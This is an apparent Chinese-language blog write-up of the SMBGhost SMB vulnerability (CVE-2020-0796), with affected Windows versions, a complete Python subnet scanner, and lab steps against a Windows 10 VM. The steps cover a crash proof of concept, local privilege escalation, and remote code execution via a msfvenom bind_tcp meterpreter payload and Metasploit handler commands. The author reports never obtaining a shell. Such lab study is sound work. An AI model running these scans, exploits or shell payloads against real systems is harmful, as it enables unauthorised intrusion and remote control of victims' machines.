CVE-2020-0796

0x00:漏洞介绍

该漏洞是由SMBv3处理恶意制作的压缩数据包,远程, 未经认证 攻击者可能利用此漏洞在应用程序的上下文中执行任意代码。

CVE-2020-0796漏洞影响运行Windows 10版本1903,Windows Server版本1903(服务器核心安装),Windows 10版本1909和Windows Server版本1909(服务器核心安装)的设备。根据Fortinet,其他Microsoft版本应受到影响。

漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

等级:高

影响范围

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

参考:

https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html

https://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448905491&idx=1&sn=d8fcae45134bd79b380eac10fcac4373&chksm=8b55c54ebc224c582dd761662c544242a5591c0ef6ab139224755d4735841a3ff5fead503f76&scene=126&sessionid=1591618716&key=7fbbc13e6582bb520a9c6ecadabcfc5a4eb6ef44af7bca7ff986acc13619062c109343937240e37a165aa15d00f9cbbbccac6e5393c0e551d596cec5ce21f3f23c46614421d62943c4e111a58ffd70e3&ascene=1&uin=MzM1MTgyNDk3Mg%3D%3D&devicetype=Windows+10+x64&version=62090070&lang=zh_CN&exportkey=AySffIcmHqwjp2wbbN2bJyI%3D&pass_ticket=MyURLWBELh%2BZKVn8QXNkafd0O60KV%2BeoTxGoC34z7DTJtqvMZnxE%2F331U3hRIPme

0x01:漏洞检测

(1)python3  POC

https://github.com/ollypwn/SMBGhost/blob/master/scanner.py

import socket
import struct
import sys
from netaddr import IPNetwork

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

subnet = sys.argv[1]

for ip in IPNetwork(subnet):

    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)

    try:
        sock.connect(( str(ip),  445 ))
    except:
        sock.close()
        continue

    sock.send(pkt)

    nb, = struct.unpack(">I", sock.recv(4))
    res = sock.recv(nb)
    if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

CVE-2020-0796

 

 

 检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。

我自己的电脑已经是升级过的了,还是返回Vulnerable

(2)奇安信检测工具

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

CVE-2020-0796

 0x02:漏洞利用

准备:

一台 kali linux   192.168.109.148

一台win10虚拟机   192.168.109.149   版本 1903  关闭防火墙

扫描结果

python3 POC

CVE-2020-0796

奇安信工具

CVE-2020-0796

蓝屏攻击

https://github.com/eerykitty/CVE-2020-0796-PoC
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
python3 setup.py install
python3 CVE-2020-0796.py 192.168.109.149

CVE-2020-0796

 

 手动中断之后,win10就恢复正常

CVE-2020-0796

本地提权

https://github.com/danigargu/CVE-2020-0796

貌似要自己编译生成exe

直接运行即可

用VS2017编译了一下,记得修改一下属性,不然会报错,复制到虚拟机中,得关闭windows自带杀毒

CVE-2020-0796

CVE-2020-0796

远程利用

https://github.com/chompie1337/SMBGhost_RCE_PoC

(1)使用msfvenom生成payload

msfvenom  -p windows/x64/meterpreter/bind_tcp  lport=1234 -f py -o evil.py

(2)下载github项目之后,将evil.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC

(3)运行exploit.py

python3 exploit.py -ip 192.168.109.149

CVE-2020-0796

 (4)启动msf监听本地端口(PS:监听端口如果一直收不到shell,可重新运行一次。)

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > set rhost 192.168.109.149
rhost => 192.168.109.149
msf5 exploit(multi/handler) > exploit

CVE-2020-0796

 我一直没能连上(

上一篇:msfvenom的shell在windows中的使用


下一篇:黑客攻击-木马程序(1)